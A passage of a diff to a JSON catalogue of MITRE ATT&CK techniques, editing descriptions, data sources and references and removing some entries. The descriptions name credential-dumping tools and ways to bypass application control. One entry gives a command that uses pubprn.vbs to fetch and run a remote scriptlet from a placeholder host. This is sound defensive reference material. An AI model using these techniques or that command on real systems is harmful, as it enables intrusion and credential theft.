can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", + "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nAdversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.", "meta": { "external_id": "CAPEC-94", "kill_chain": [ @@ -26292,7 +23339,6 @@ "mitre-attack:collection" ], "mitre_data_sources": [ - "Application Log: Application Log Content", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Service: Service Creation", @@ -26304,15 +23350,9 @@ "Linux" ], "refs": [ - "https://arxiv.org/abs/1809.05681", "https://attack.mitre.org/techniques/T1557", - "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/", "https://capec.mitre.org/data/definitions/94.html", - "https://securelist.com/ad-blocker-with-miner-included/101105/", - "https://tlseminar.github.io/downgrade-attacks/", - "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/", - "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats" + "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/" ] }, "uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", @@ -26355,7 +23395,7 @@ "value": "Add-ins - T1137.006" }, { - "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", + "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", "meta": { "external_id": "T1218.009", "kill_chain": [ @@ -26415,7 +23455,7 @@ "value": "Steganography - T1001.002" }, { - "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n", + "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n", "meta": { "external_id": "T1003.003", "kill_chain": [ @@ -26585,29 +23625,6 @@ "uuid": "01327cde-66c4-4123-bf34-5f258d59457b", "value": "VNC - T1021.005" }, - { - "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.", - "meta": { - "external_id": "T1406.001", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1406/001" - ] - }, - "related": [ - { - "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", - "type": "subtechnique-of" - } - ], - "uuid": "fa801609-ca8e-415e-815e-65f3826ff4df", - "value": "Steganography - T1406.001" - }, { "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ", "meta": { @@ -26676,7 +23693,7 @@ "value": "Keylogging - T1056.001" }, { - "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", + "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", "meta": { "external_id": "T1059.001", "kill_chain": [ @@ -26686,7 +23703,6 @@ "Command: Command Execution", "Module: Module Load", "Process: Process Creation", - "Process: Process Metadata", "Script: Script Execution" ], "mitre_platforms": [ @@ -26698,7 +23714,6 @@ "https://attack.mitre.org/techniques/T1059/001", "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/", "https://github.com/jaredhaight/PSAttack", - "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/", "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/", "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" @@ -26713,47 +23728,6 @@ "uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "value": "PowerShell - T1059.001" }, - { - "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)", - "meta": { - "external_id": "T1053.002", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Command: Command Execution", - "File: File Modification", - "Process: Process Creation", - "Scheduled Job: Scheduled Job Creation" - ], - "mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1053/002", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", - "https://gtfobins.github.io/gtfobins/at/", - "https://man7.org/linux/man-pages/man1/at.1p.html", - "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://technet.microsoft.com/library/dd315590.aspx", - "https://twitter.com/leoloobeek/status/939248813465853953", - "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/" - ] - }, - "related": [ - { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "type": "subtechnique-of" - } - ], - "uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", - "value": "At - T1053.002" - }, { "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used Invoke-PSImage to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ", "meta": { @@ -26786,7 +23760,7 @@ "value": "Steganography - T1027.003" }, { - "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)", + "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)", "meta": { "external_id": "T1059.002", "kill_chain": [ @@ -26843,7 +23817,7 @@ "value": "DNS - T1590.002" }, { - "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ", + "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. ", "meta": { "external_id": "T1053.003", "kill_chain": [ @@ -26884,6 +23858,12 @@ "mitre-attack:persistence", "mitre-attack:privilege-escalation" ], + "mitre_data_sources": [ + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation", + "Scheduled Job: Scheduled Job Creation" + ], "mitre_platforms": [ "macOS" ], @@ -26972,7 +23952,7 @@ "value": "JavaScript - T1059.007" }, { - "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)", + "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)", "meta": { "external_id": "T1218.010", "kill_chain": [ @@ -27033,7 +24013,7 @@ "value": "Confluence - T1213.001" }, { - "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).", + "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).", "meta": { "external_id": "T1216.001", "kill_chain": [ @@ -27092,33 +24072,6 @@ "uuid": "c92e3d68-2349-49e4-a341-7edca2deff96", "value": "MSBuild - T1127.001" }, - { - "description": "Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.\n\nSome methods of keylogging include:\n\n* Masquerading as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n* Abusing accessibility features. On Android, adversaries may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed. \n*Additional methods of keylogging may be possible if root access is available. \n", - "meta": { - "external_id": "AUT-13", - "kill_chain": [ - "mitre-mobile-attack:collection", - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1417/001", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-13.html", - "https://zeltser.com/third-party-keyboards-security/" - ] - }, - "related": [ - { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", - "type": "subtechnique-of" - } - ], - "uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", - "value": "Keylogging - T1417.001" - }, { "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", "meta": { @@ -27149,7 +24102,7 @@ "value": "Sharepoint - T1213.002" }, { - "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", + "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "meta": { "external_id": "T1218.003", "kill_chain": [ @@ -27183,7 +24136,7 @@ "value": "CMSTP - T1218.003" }, { - "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", + "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", "meta": { "external_id": "T1218.004", "kill_chain": [ @@ -27233,7 +24186,7 @@ "https://en.wikipedia.org/wiki/HTML_Application", "https://lolbas-project.github.io/lolbas/Binaries/Mshta/", "https://msdn.microsoft.com/library/ms536471.aspx", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/" @@ -27277,32 +24230,7 @@ "value": "Hardware - T1592.001" }, { - "description": "Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)\n\n[Geofencing](https://attack.mitre.org/techniques/T1627/001) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements. \n\nOne method to accomplish [Geofencing](https://attack.mitre.org/techniques/T1627/001) on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other [Geofencing](https://attack.mitre.org/techniques/T1627/001) methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include \"Allow only while using the app\", which will effectively prohibit background location collection. \n\nSimilarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground. \n\n[Geofencing](https://attack.mitre.org/techniques/T1627/001) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific input prompts and/or advertisements.", - "meta": { - "external_id": "T1627.001", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1627/001", - "https://blog.lookout.com/esurv-research" - ] - }, - "related": [ - { - "dest-uuid": "498e7b81-238d-404c-aa5e-332904d63286", - "type": "subtechnique-of" - } - ], - "uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", - "value": "Geofencing - T1627.001" - }, - { - "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be 